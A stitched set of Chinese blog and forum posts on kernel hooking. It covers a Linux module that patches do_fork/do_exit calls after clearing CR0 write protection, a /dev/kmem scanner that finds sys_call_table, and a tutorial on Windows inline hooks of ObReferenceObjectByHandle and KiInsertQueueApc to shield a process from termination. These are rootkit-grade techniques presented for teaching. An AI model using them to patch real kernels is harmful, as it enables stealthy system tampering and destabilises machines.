  18. "popl %eax");  
  19.   
  20. #define SET_CR0        asm ("pushl %eax\n\t"             \  
  21. "movl %cr0, %eax\n\t"         \  
  22. "orl $0x00010000, %eax\n\t"     \  
  23. "movl %eax, %cr0\n\t"        \  
  24. "popl %eax");  
  25.   
  26. struct task_struct *(*orig_copy_process)(unsigned long clone_flags,  
  27.                     unsigned long stack_start,  
  28.                     struct pt_regs *regs,  
  29.                     unsigned long stack_size,  
  30.                     int __user *parent_tidptr,  
  31.                     int __user *child_tidptr,  
  32.                     int pid); //从内核源代码复制过来的函数声明  
  33.   
  34. static struct task_struct *my_copy_process(unsigned long clone_flags,  
  35.                     unsigned long stack_start,  
  36.                     struct pt_regs *regs,  
  37.                     unsigned long stack_size,  
  38.                     int __user *parent_tidptr,  
  39.                     int __user *child_tidptr,  
  40.                     int pid)  
  41. {  
  42.     struct task_struct * ret;  
  43.     ret = (*orig_copy_process)(clone_flags,stack_start,regs,stack_size,parent_tidptr,child_tidptr,pid);  
  44.     if(!IS_ERR(ret))  
  45.         printk("---z---\tPID:%d fork %d successed!\n",current->pid,pid);  
  46.     else  
  47.         printk("---z---\tPID:%d fork %d failed!\n",current->pid,pid);  
  48.     return ret;  
  49.   
  50. }  
  51.   
  52. void (*orig_profile_task_exit)(struct task_struct * task);  
  53.   
  54. void my_profile_task_exit(struct task_struct * task)  
  55. {//这个函数不是每个内核都有的,在CONFIG_PROFILING=n的情况下编译的内核,profile_task_exit不存在的,但是呢,在centos 5.5的内核里面是有的,管其他呢。。。。  
  56.     printk("---z---\tPID:%d exited!\n",current->pid);  
  57. }  
  58.   
  59. static int replace_fun(unsigned long handle, unsigned long old_fun, unsigned long new_fun)  
  60. {  
  61.     unsigned char *p = (unsigned char *)handle;  
  62.     int i = 0;  
  63.     while(1)  
  64.     {  
  65.         if(i++ > 128)  
  66.             return 0;  
  67.         if(*p == 0xe8)  
  68.         {//e8是GCC编译出来的普通函数调用的call,当然也可能是某个立即数里面的一个字节  
  69.             if((*(int *)(p+1) + (unsigned long)p + 5) == old_fun)  
  70.             {//so需要看下看e8后面是不是老地址的偏移值,是的话替换掉  
  71.                 *(int *)(p+1) = new_fun - (unsigned long)p - 5;  
  72.                 return 1;  
  73.             }  
  74.         }  
  75.         p++;  
  76.     }  
  77. }  
  78.   
  79. static int _init_module(void ) {  
  80.     printk("---z---\t+++++++++++\n");  
  81.     orig_copy_process = _FORK_copy_process;  
  82.     orig_profile_task_exit = _EXIT_profile_task_exit;  
  83.     lock_kernel();  
  84.     CLEAR_CR0  
  85.     replace_fun(_DO_FORK_, _FORK_copy_process, (unsigned long)my_copy_process);  
  86.     replace_fun(_DO_EXIT_, _EXIT_profile_task_exit, (unsigned long)my_profile_task_exit);  
  87.     SET_CR0  
  88.     unlock_kernel();  
  89.     return 0;  
  90. }  
  91.   
  92.   
  93. static void _cleanup_module(void) {  
  94.     printk("---z---\t---------\n");  
  95.     lock_kernel();  
  96.     CLEAR_CR0  
  97.     replace_fun(_DO_FORK_, (unsigned long)my_copy_process, _FORK_copy_process);  
  98.     replace_fun(_DO_EXIT_, (unsigned long)my_profile_task_exit, _EXIT_profile_task_exit);  
  99.     SET_CR0  
  100.     unlock_kernel();  
  101. }  
  102.   
  103. module_init(_init_module);  
  104. module_exit(_cleanup_module);  

装载卸载内核,dmesg看输出

[plain] view plain copy
 在CODE上查看代码片派生到我的代码片
  1. ---z--- +++++++++++  
  2. ---z--- PID:12668 exited!  
  3. ---z--- PID:642 fork 12671 successed!  
  4. ---z--- PID:12671 exited!  
  5. ---z--- PID:4422 fork 12672 successed!  
  6. ---z--- PID:12672 exited!  
  7. ---z--- PID:6992 fork 12673 successed!  
  8. ---z--- PID:11 fork 12674 successed!  
  9. ---z--- PID:12674 fork 12675 successed!  
  10. ---z--- PID:12675 exited!  
  11. ---z--- PID:12674 exited!  
  12. ---z--- ---------  

OK ,很好,,,,,,


分类: LINUX

直接上代码吧,就是sidt之后,通过kmem字符设备搜索指纹。

测试环境: Debian Lenny 2.6.26-2-686

091020:实在是不好意思,之前的代码稍微有一些问题,已经改正了;-)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>

#define CALLOFF 100 //读取100字节
 
struct {
  unsigned short limit;
  unsigned int base;
} __attribute__ ((packed)) idtr;  //这个结构表示IDTR寄存器,这个寄存器中保存中断描述符表 的地址
 
 
struct {
  unsigned short off1;
  unsigned short sel;
  unsigned char none,flags;
  unsigned short off2;
} __attribute__ ((packed)) idt;  //中断描述符表中的内容:中断门描述符
 
 
unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容
{
  if (lseek64(fd, (unsigned long long)off,SEEK_SET)!=off)
  {
    //perror(\"fd lseek\");
    return 0;
  }
 
  if (read(fd, buf,size)!=size)
  {
    //perror(\"fd read\");
    return 0;
  }
 
}
 
unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
{
  size_t  moff, roff;
  size_t   sz = getpagesize();
 
  char * kmap;
 
  unsigned long ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
  if (ret_old != 0)
    return ret_old;
 
  moff = ((size_t)(off/sz)) * sz;    
  roff = off - moff;  
 
  kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
 
  if (kmap == MAP_FAILED)
  {
      perror("readkmem: mmap");
      return 0;
 }
 
 memcpy (buf, &kmap[roff], size);
 
 if (munmap(kmap, size) != 0)
 {
   perror("readkmem: munmap");
   return 0;
 }
 
 return size;
}
 
int main (int argc, char **argv)
{
 unsigned sys_call_off;
 int kmem_fd;  // /dev/kmem文件描述符
 unsigned sct;
 char sc_asm[CALLOFF],*p;

 /* 获得IDTR寄存器的值 */
 asm ("sidt %0" : "=m" (idtr));
 printf("idtr base at 0x%X\n",(int)idtr.base);
 
 /* 打开kmem */
 kmem_fd = open ("/dev/kmem",O_RDONLY);
 if (kmem_fd<0)
 {
     perror("open");
     return 1;
 }
 
 /* 从IDT读出0x80向量 (syscall) */
 readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移
 sys_call_off = (idt.off2 << 16) | idt.off1;    //idt.off2 表示地址的前16位,得到syscall地址
 printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
 
 /* 寻找sys_call_table的地址 */
 readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);  
 
 p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85,因此搜索这个字符串。
 sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后
 
 if (p)
 {
   printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);
 }
 
 close(kmem_fd);
 return 0;
}



本文以发表在黑防09期

详谈内核三步走Inline Hook实现

(一)Inline hook原理
Inline hook通俗的说就是对函数执行流程进行修改,达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令,也确实有些人在inline
的时候做的很深,来躲避inline 的检测,前提是必须对函数的流程和指令非常熟悉,且这种深层次的inlline 不具有通用性,稳定性也是问题。本文讨论的是具有通用性的两类inline的实现。
Inline hook原理:解析函数开头的几条指令,把他们Copy到数组保存起来,然后用一个调用我们的函数的几条指令来替换,如果要执行原函数,则在我们函数处理完毕,再执行我们保存起来的开头几条指令,然后调回我们取指令之后的地址执行。
整个Inline hook的过程就大体这样,中间牵扯到对函数的检查,地址的获取就直接调用函数即可。
本文所要讨论的两类Inline hook都是基于上面原理。 

说明三点:
1、堆栈平衡是重中之重,参数压栈也需要格外注意
2、CR0寄存器中的WP位控制处理器是否允许往只读内存页写入,为0禁用保护机制。
3、提高中断级别到DISPATCH_LEVEL,禁止线程切换产生的中断
                     
(二)inline hook应用
Inline hook可分为两类:
(1)inline 导出函数,选择ObReferenceObjectByHandle做例子。
(2)inline 未导出函数,选择KiInsertQueueApc做例子。
导出函数前几个字节可以利用windbg自己查看是什么内容,而未导出函数就需要自己解析指令确定需要hook几个字节,其间还有很多问题需要注意。当大家真正的弄懂了我这篇文章,回头再看inline hook就会觉得inline也不过如此。
下面通过2个例子来讲inline hook的使用(这部分知识网上也有很多,但都很零散不系统,本文部分思路及代码的确参考了网上资源,有抄袭之嫌,希望读者谅解。我一直强调“授人以鱼不如授人以渔”,代码并不重要,关键是思想。)
1、inline hook ObReferenceObjectByHandle保护进程
ObReferenceObjectByHandle属于ntoskrnl.exe导出函数,在内核中调用频繁。
NtCreateProcess创建进程需要调用ObReferenceObjectByHandle,NtTerminateProcess需要调用ObReferenceObjectByHandle,基于这我们就可以利用Hook来保护进程同时屏蔽进程的创建。
效果:已经运行的记事本任务管理器无法结束
流程:
HookObReferenceObjectByHandle------DetourMyObReferenceObjectByHa ndle----------UnHookObReferenceObjectByHandle
核心代码分析如下:
//=======================================inline HOOK ObReferenceObjectByHandle===========================

//ObReferenceObjectByHandle是ntoskrnl.exe导出函数,采用HOOK前五个字节的方式

//字节型数据  unsigned char
ULONG  CR0VALUE;
BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节           
BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址

extern POBJECT_TYPE *PsProcessType;

NTKERNELAPI NTSTATUS ObReferenceObjectByHandle(
                         
                         IN HANDLE  Handle,
                         IN ACCESS_MASK  DesiredAccess,
                         IN POBJECT_TYPE  ObjectType  OPTIONAL,
                         IN KPROCESSOR_MODE  AccessMode,
                         OUT PVOID  *Object,
                         OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
                         
                         );

//HOOK函数

NTSTATUS DetourMyObReferenceObjectByHandle(
                       
                       IN HANDLE  Handle,           
                       IN ACCESS_MASK  DesiredAccess
                       IN POBJECT_TYPE  ObjectType  OPTIONAL, 
                       IN KPROCESSOR_MODE  AccessMode,
                       OUT PVOID  *Object,
                       OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL);

//

//hook流程 HookObReferenceObjectByHandle---DetourMyObReferenceObjectByHandle---UnHookObReferenceObjectByHandle

void  HookObReferenceObjectByHandle()

{
  
  //赋值前面定义的数组
  KIRQL Irql;
  KdPrint(("[ObReferenceObjectByHandle] :0x%x",ObReferenceObjectByHandle));  //地址验证
  //保存函数前五个字节内容
  RtlCopyMemory(OriginalBytes,(BYTE *)ObReferenceObjectByHandle,5);
  //保存新函数五个字节之后偏移
  *(ULONG *)(JmpAddress+1)=(ULONG)DetourMyObReferenceObjectByHandle-((ULONG)ObReferenceObjectByHandle+5);
  //开始inline hook
  //关闭内存写保护
  _asm
    
  {
    push eax
      
      mov eax, cr0 
      mov CR0VALUE, eax 
      and eax, 0fffeffffh  
      mov cr0, eax
      pop eax
  }
  
  //提升IRQL中断级
  Irql=KeRaiseIrqlToDpcLevel();
  //函数开头五个字节写JMP 
  RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,JmpAddress,5);
  //恢复Irql
  KeLowerIrql(Irql);
  //开启内存写保护
  
  __asm
    
  {       
    
    push eax
      
      mov eax, CR0VALUE 
      
      mov cr0, eax
      
      pop eax
      
  }
  
}



_declspec (naked) NTSTATUS OriginalObReferenceObjectByHandle(IN HANDLE  Handle,
                               
                               IN ACCESS_MASK  DesiredAccess,
                               
                               IN POBJECT_TYPE  ObjectType  OPTIONAL,
                               
                               IN KPROCESSOR_MODE  AccessMode,
                               
                               OUT PVOID  *Object,
                               
                               OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                               
{
  
  _asm
    
  {   
    
    mov edi,edi
      push ebp
      mov ebp,esp
      mov eax,ObReferenceObjectByHandle
      add eax,5
      jmp eax                
      
  }
  
}


NTSTATUS DetourMyObReferenceObjectByHandle(
                       
                       IN HANDLE  Handle,
                       
                       IN ACCESS_MASK  DesiredAccess,
                       
                       IN POBJECT_TYPE  ObjectType  OPTIONAL,
                  
                       IN KPROCESSOR_MODE  AccessMode,
                       
                       OUT PVOID  *Object,
                       
                       OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)
                       
{
  
  NTSTATUS status;
  
  //调用原函数
  
  status=OriginalObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);
  
  if((status==STATUS_SUCCESS)&&(DesiredAccess==1))
    
  {   
    
    if(ObjectType== *PsProcessType)
      
    {
      
      if( _stricmp((char *)((ULONG)(*Object)+0x174),"notepad.exe")==0)
        
      {   
        
        ObDereferenceObject(*Object);
        
        return STATUS_INVALID_HANDLE;
        
      }
      
    }
    
  }
  
  return status;
  
}



void UnHookObReferenceObjectByHandle()

{
  
  //把五个字节再写回到原函数
  
  KIRQL Irql;
  
    //关闭写保护
  
  _asm
    
  {
    
    push eax
      
      mov eax, cr0 
      
      mov CR0VALUE, eax 
      
      and eax, 0fffeffffh  
      
      mov cr0, eax
      
      pop eax
      
  }
  
    //提升IRQL到Dpc
  
    Irql=KeRaiseIrqlToDpcLevel();
  
  RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,OriginalBytes,5);
  
  KeLowerIrql(Irql);
  
    //开启写保护
  
  __asm
    
  {       
    
        push eax
      mov eax, CR0VALUE 
      mov cr0, eax
      
      pop eax
      
  }
}

驱动加载后,结束记事本程序如下:
 
    (图 一)

详细分析:
1、ObReferenceObjectByHandle分析
NTSTATUS 
  ObReferenceObjectByHandle(
    IN HANDLE  Handle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_TYPE  ObjectType  OPTIONAL,
    IN KPROCESSOR_MODE  AccessMode,
    OUT PVOID  *Object,
    OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL
    );
函数原型如上,由句柄获取对象指针,函数返回值:
STATUS_SUCCESS                        调用成功
STATUS_OBJECT_TYPE_MISMATCH        
STATUS_ACCESS_DENIED                 权限不够
STATUS_INVALID_HANDLE                无效句柄         

调用NtTerminateProcess需要调用ObReferenceObjectByHandle,因此我们通过对函数返回值进程修改来达到保护进程。但是NtCreateProcess(最终调用的PspCreateProcess)同样调用这个函数,如果不加区分的话,创建进程同样被禁止了,那么如何区分到底是谁在调用呢。参考WRK,我发现可以通过第二个参数DesiredAccess来判别,创建进程和结束进程第二个参数明显不同,PROCESS_CREATE_PROCESS和PROCESS_TERMINATE,问题就解决了。
PspCreateProcess位于 WRK-v1.2\base\ntos\ps\create.c
调用ObReferenceObjectByHandle代码:
Status = ObReferenceObjectByHandle (ParentProcess,
                                            PROCESS_CREATE_PROCESS,
                                            PsProcessType,
                                            PreviousMode,
                                            &Parent,
                                            NULL);
NtTerminateProcess位于 WRK-v1.2\base\ntos\ps\psdelete.c
调用ObReferenceObjectByHandle代码:
st = ObReferenceObjectByHandle (ProcessHandle,
                                    PROCESS_TERMINATE,
                                    PsProcessType,
                                    KeGetPreviousModeByThread(&Self->Tcb),
                                    &Process,
                                    NULL);
DesiredAccess参数说明:
#define PROCESS_TERMINATE         (0x0001) // winnt
#define PROCESS_CREATE_THREAD     (0x0002) // winnt
#define PROCESS_SET_SESSIONID     (0x0004) // winnt
#define PROCESS_VM_OPERATION      (0x0008) // winnt
#define PROCESS_VM_READ           (0x0010) // winnt
#define PROCESS_VM_WRITE          (0x0020) // winnt
// begin_ntddk begin_wdm begin_ntifs
#define PROCESS_DUP_HANDLE        (0x0040) // winnt
// end_ntddk end_wdm end_ntifs
#define PROCESS_CREATE_PROCESS    (0x0080) // winnt
#define PROCESS_SET_QUOTA         (0x0100) // winnt
#define PROCESS_SET_INFORMATION   (0x0200) // winnt
#define PROCESS_QUERY_INFORMATION (0x0400) // winnt
#define PROCESS_SET_PORT          (0x0800)
#define PROCESS_SUSPEND_RESUME    (0x0800) // winnt

2、函数调用说明
C语言中我们调用一个函数就直接写函数名就可以,但是实际是进行了下面的操作:
把函数参数压入堆栈,压入函数返回地址,调用函数,为新函数开辟堆栈空间申请局部变量,
恢复堆栈保持堆栈平衡
(_stdcall调用方式)汇编代码就是:
Push 参数4
Push 参数3
Push 参数2
Push 参数1
Call  函数  ;call指令同时完成2个操作,一是把返回地址压入堆栈,二跳转到调用函数入口地址

Push  ebp
Mov ebp,esp
Sub  esp, XX  ;开辟栈帧空间
……
Add  esp ,XX
Pop ebp
Retn          ;恢复堆栈平衡
堆栈详细情况:
ESP
局部变量





EBP
返回地址
参数1
参数2
参数3
参数4
堆栈是由高地址到低地址。
参数就通过EBP来去,四字节对齐的

参数4----------------------EBP+0x14
参数3----------------------EBP+0x10
参数2----------------------EBP+0xc
参数1--------------------- EBP+0x8
局部变量则通过Ebp-XX来获取

因此inline的时候要时刻考虑堆栈平衡,破坏了堆栈平衡就会导致函数崩溃。
我通常inline hook的思路就是三步走:
HOOK函数-----DetourMy处理函数----------UnHook函数
处理函数中对返回结果或者中间数据进行修改处理,然后调用原始函数。由于在我们处理的时候原始函数已经被hook了,所以我自己构造了一个原始函数,但是由于参数在我们hook前已经压人堆栈了,所以这里我们不用重新开辟栈帧,因此声名函数类型为_declspec (naked)
。有人就会问那么你调用处理函数的时候,参数不是重复压栈了,这里请注意,我们是通过JMP方式跳转到我们处理函数入口地址的,而不是Call的形式,所以并没有执行上面所说的函数调用过程,参数仍然是原始函数的。也就是说在真个inline hook过程中我们不能破坏原始栈帧的EBP。

关于函数调用很栈帧的相关联系可能比较难理解,我也在尽肯能的用通俗的话来解释清楚,有什么不理解的地方或者个人见解欢迎大家跟我交流。

2、inline hook KiInsertQueueApc对抗插APC杀进程
KiInsertQueueAPc为内核未导出函数,我下面提供的代码可以作为未导出函数inline的通用模板来使用,大家根据自己需要进行修改,基于inline ObReferenceObjectByHandle已经把原理分析了,这部分我就不详加分析,仍然采用的但不走,Hook函数---DetourMy函数---UnHook函数
直接看核心代码:
//===================inline hook KiInsertQueueApc====================
//KiInsertQueueApc为内核未导出函数,可以从导出函数KeInsertQueueApc定位
//修改KiInsertQueueApc开头5字节
//处理函数思路:apc-->kthread---apc_state--eprocess--进程名字
//HookKiInsertQueueApc---DetourMyKiInsertQueueApc---UnHookKiInsertQueueApc
ULONG CR0VALUE;
ULONG g_KiInsertQueueApc;
           
BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址
BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字

VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment);

VOID WPOFF()
{
  _asm
    
  {
    
    push eax
      
      mov eax, cr0 
      
      mov CR0VALUE, eax 
      
      and eax, 0fffeffffh  
      
      mov cr0, eax
      
      pop eax
      cli
      
  };
  
}

VOID WPON()
{
    __asm
    
  {       
    sti
    push eax
      
      mov eax, CR0VALUE 
      
      mov cr0, eax
      
      pop eax
      
  };
}
//1、获取KiInsertQueueApc地址
ULONG GetFunctionAddr( IN PCWSTR FunctionName)     //PCWSTR常量指针,指向16位UNICODE
{
  UNICODE_STRING UniCodeFunctionName;
  RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
  return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );   
}

ULONG GetKiInsertQueueApcAddr()
{
  ULONG sp_code1=0x28,sp_code2=0xe8,sp_code3=0xd88a;  //特征码,sp_code3 windbg显示错误,应该为d88a
  ULONG address=0;
  PUCHAR addr;
  PUCHAR p;
  addr=(PUCHAR)GetFunctionAddr(L"KeInsertQueueApc");
  for(p=addr;p<p+PAGE_SIZE;p++)
  {
    if((*(p-1)==sp_code1)&&(*p==sp_code2)&&(*(PUSHORT)(p+5)==sp_code3))
    {
      address=*(PULONG)(p+1)+(ULONG)(p+5);
      break;
    }
  }
  KdPrint(("[KeInsertQueueApc] addr %x\n",(ULONG)addr));
    KdPrint(("[KiInsertQueueApc] address %x\n",address));
    return address;
}

VOID HookKiInsertQueueApc()
{   
  KIRQL Irql;
  g_KiInsertQueueApc=GetKiInsertQueueApcAddr();
  KdPrint(("[KiInsertQueueApc] KiInsertQueueApc %x\n",g_KiInsertQueueApc));
    // 保存原函数的前字节内容
    RtlCopyMemory (OriginalBytes, (BYTE*)g_KiInsertQueueApc, 5);
  //新函数对原函数的偏移地址
    *( (ULONG*)(JmpAddress + 1) ) = (ULONG)DetourMyKiInsertQueueApc - (ULONG)g_KiInsertQueueApc - 5;
    // 禁止系统写保护,提升IRQL到DPC
    WPOFF();
    Irql = KeRaiseIrqlToDpcLevel();
    //inline hook函数
  RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, JmpAddress, 5 );
    // 恢复写保护,降低IRQL
    KeLowerIrql(Irql);
    WPON();  
}
//原函数
_declspec (naked) VOID FASTCALL OriginalKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
{
  _asm
  {
    //前五个字节
    mov edi,edi
      push ebp
      mov ebp,esp
      
      mov eax,g_KiInsertQueueApc
      add eax,5
      jmp eax
  }
}
//处理函数
//apc--kthread--apc_state--eprocess
VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment)
{
  ULONG thread;
  ULONG process;
  if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))    //地址验证 KAPC结构+008--->kthread
    thread=*((PULONG)((ULONG)Apc+0x008));
  else
    return ;
  if(MmIsAddressValid((PULONG)((ULONG)thread+0x044))) //kthread+30-->KAPC_STATE+10-->eprocess
    process=*((PULONG)((ULONG)thread+0x044));
  else
    return ;
    if(MmIsAddressValid((PULONG)((ULONG)process+0x174)))  //eprocess+174---->进程名字
  {
    if((_stricmp((char *)((ULONG)process+0x174),"notepad.exe")==0)&&(Increment==2))
    {
      return ;

    }
    else
      OriginalKiInsertQueueApc(Apc,Increment);

  }
  else
    return;
}

//卸载函数
VOID UnHookKiInsertQueueApc()
{
  KIRQL Irql;
    WPOFF();
    Irql = KeRaiseIrqlToDpcLevel();
    //inline hook函数
    RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, OriginalBytes, 5);
    // 恢复写保护,降低IRQL
    KeLowerIrql(Irql);
    WPON();  
}
 考虑到大家水平不一,对一些问题我详细如下:
1、特征码的寻找
利用windbg的kernel debug来查找:
uf  KeInsertQueueApc
nt!KeInsertQueueApc+0x3b:
804e6d0a 8b450c          mov     eax,dword ptr [ebp+0Ch]
804e6d0d 8b5514          mov     edx,dword ptr [ebp+14h]
804e6d10 894724          mov     dword ptr [edi+24h],eax
804e6d13 8b4510          mov     eax,dword ptr [ebp+10h]
804e6d16 8bcf            mov     ecx,edi
804e6d18 894728          mov     dword ptr [edi+28h],eax
804e6d1b e8523fffff        call    nt!KiInsertQueueApc (804dac72)
804e6d20 8ad8 (错误)  mov     bl,al
特征码就是sp_code1=0x28 sp_code2=0xe8 sp_code3=0xd88a(windbg显示有误,应该是d88a

这种方法就是通过已导出函数定位未导出函数通常使用的方法,具有通用性。详细见代码。

2、取EPRocess的过程
Apc-----kthread-----apc_state—eprocess
dt  _KAPC             偏移0x008指向KTHREAD
dt  _KTHREAD         偏移0x034指向KAPC_STATE
dt  _KAPC_STATE      偏移0x10指向EPROCESS
dt  _EPROCESS         偏移0x174指向进程名


(三)总结
 很多人觉得inline hook比较难,处理起来很麻烦。但是我相信看完我这篇文章,你一定不会这么认为了,inline hook其实只要细心,注意细节跟别的hook没什么两样。本人采用的三步走inline hook做到了把inline简单化,同时有保证了堆栈的平衡。
 由于代码采用的硬编码,编译环境是sp3+VMware,请根据自己操作系统自行修改。欢迎读者跟我交流。*转载请注明来自看雪论坛@PEdiy.com 

注意:
ubuntu等发行版已经禁用了/dev/kmem,可以查看/boot/config-2.6.xx,grep一下DEV_KMEM,可以发现是no set。


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